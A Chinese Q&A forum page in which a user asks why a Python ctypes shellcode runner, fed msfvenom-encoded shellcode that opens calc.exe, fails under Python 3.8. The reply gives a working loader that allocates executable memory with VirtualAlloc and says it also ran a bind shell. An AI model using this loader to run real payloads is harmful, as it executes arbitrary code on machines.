亚洲在线久爱草,狠狠天天香蕉网,天天搞日日干久草,伊人亚洲日本欧美

為了賬號安全,請及時綁定郵箱和手機立即綁定
已解決430363個問題,去搜搜看,總會有你想問的

CTYPES 訪問沖突寫入 python3.8 而 2.7 工作

CTYPES 訪問沖突寫入 python3.8 而 2.7 工作

心有法竹 2022-12-20 15:21:18
我創建了一些 shellcode 以在 Windows 上彈出 calc.exe。shellcode 在變量中buf(這里省略了空間)。使用 python2.7 它可以工作,并且會出現計算器。對于 python 3,它失敗了OSError: exception: access violation writing 0x00000023EE895F650(每次運行時內存位置不同)。這是代碼。據我了解,將create_string_buffer自動分配空間以匹配的長度,buf并將代替 python 的.CFUNCTYPEnullNone# Win10 Pro 10.0.1863 x64# Python 2.7.1 32bit win32# Python 3.8.3 32bit win32 import ctypesbuf =  b""buf += b"\xbd\x46\x90\xe4\x4e\xdb\xc8\xd9\x74\x24\xf4\x58\x2b"buf += b"\xc9\xb1\x31\x31\x68\x13\x83\xe8\xfc\x03\x68\x49\x72"buf += b"\x11\xb2\xbd\xf0\xda\x4b\x3d\x95\x53\xae\x0c\x95\x00"buf += b"\xba\x3e\x25\x42\xee\xb2\xce\x06\x1b\x41\xa2\x8e\x2c"buf += b"\xe2\x09\xe9\x03\xf3\x22\xc9\x02\x77\x39\x1e\xe5\x46"buf += b"\xf2\x53\xe4\x8f\xef\x9e\xb4\x58\x7b\x0c\x29\xed\x31"buf += b"\x8d\xc2\xbd\xd4\x95\x37\x75\xd6\xb4\xe9\x0e\x81\x16"buf += b"\x0b\xc3\xb9\x1e\x13\x00\x87\xe9\xa8\xf2\x73\xe8\x78"buf += b"\xcb\x7c\x47\x45\xe4\x8e\x99\x81\xc2\x70\xec\xfb\x31"buf += b"\x0c\xf7\x3f\x48\xca\x72\xa4\xea\x99\x25\x00\x0b\x4d"buf += b"\xb3\xc3\x07\x3a\xb7\x8c\x0b\xbd\x14\xa7\x37\x36\x9b"buf += b"\x68\xbe\x0c\xb8\xac\x9b\xd7\xa1\xf5\x41\xb9\xde\xe6"buf += b"\x2a\x66\x7b\x6c\xc6\x73\xf6\x2f\x8c\x82\x84\x55\xe2"buf += b"\x85\x96\x55\x52\xee\xa7\xde\x3d\x69\x38\x35\x7a\x85"buf += b"\x72\x14\x2a\x0e\xdb\xcc\x6f\x53\xdc\x3a\xb3\x6a\x5f"buf += b"\xcf\x4b\x89\x7f\xba\x4e\xd5\xc7\x56\x22\x46\xa2\x58"buf += b"\x91\x67\xe7\x3a\x74\xf4\x6b\x93\x13\x7c\x09\xeb"def run():    buffer = ctypes.create_string_buffer(buf)    shell_func = ctypes.cast(buffer, ctypes.CFUNCTYPE(None))    shell_func()if __name__ == '__main__':    run()我已經閱讀并用谷歌搜索但不知道為什么它在 Python3 中不起作用。有任何想法嗎?FWIW,這是我創建 shellcode 的方式:# Linux kali 5.6.0-kali1-amd64# metasploit v5.0.89-devmsfvenom -p windows/exec -e x86/shikata_ga_nai -i 1 -f python cmd=calc.exe
查看完整描述

1 回答

?
藍山帝景

TA貢獻1843條經驗 獲得超7個贊

這是有效的代碼。使用上面的 shellcode,或者你自己的變量buf:


def run():

    buffer = ctypes.create_string_buffer(buf)

    length = len(buffer)


    ptr = ctypes.windll.kernel32.VirtualAlloc(None, length, 0x1000|0x2000, 0x40)

    ctypes.windll.kernel32.RtlMoveMemory(ptr, buffer, length)

    shell_func = ctypes.cast(ptr, ctypes.CFUNCTYPE(None))

    shell_func()


if __name__ == '__main__':

    run()

首先,分配足夠的內存來保存 shellcode。VirtualAllocdefine中的兩個常量


0x1000|0x2000= MEM_COMMIT | MEM_RESERVE(參見 MS 文檔)

0x40PAGE_EXECUTE_READWRITE

接下來,將 shellcode 移動到分配的內存中。最后,將 shellcode 轉換為一個函數并調用該函數。使用問題中給出的 shellcode(彈出式計算器)和綁定 tcp shell(未顯示)進行測試。


仍然不知道為什么 python3 的行為不同,但看起來它正在嘗試寫入不可執行的內存。此方法適用于 Python2 或 Python3。


查看完整回答
反對 回復 2022-12-20
  • 1 回答
  • 0 關注
  • 204 瀏覽
慕課專欄
更多

添加回答

舉報

0/150
提交
取消
微信客服

購課補貼
聯系客服咨詢優惠詳情

幫助反饋 APP下載

慕課網APP
您的移動學習伙伴

公眾號

掃描二維碼
關注慕課網微信公眾號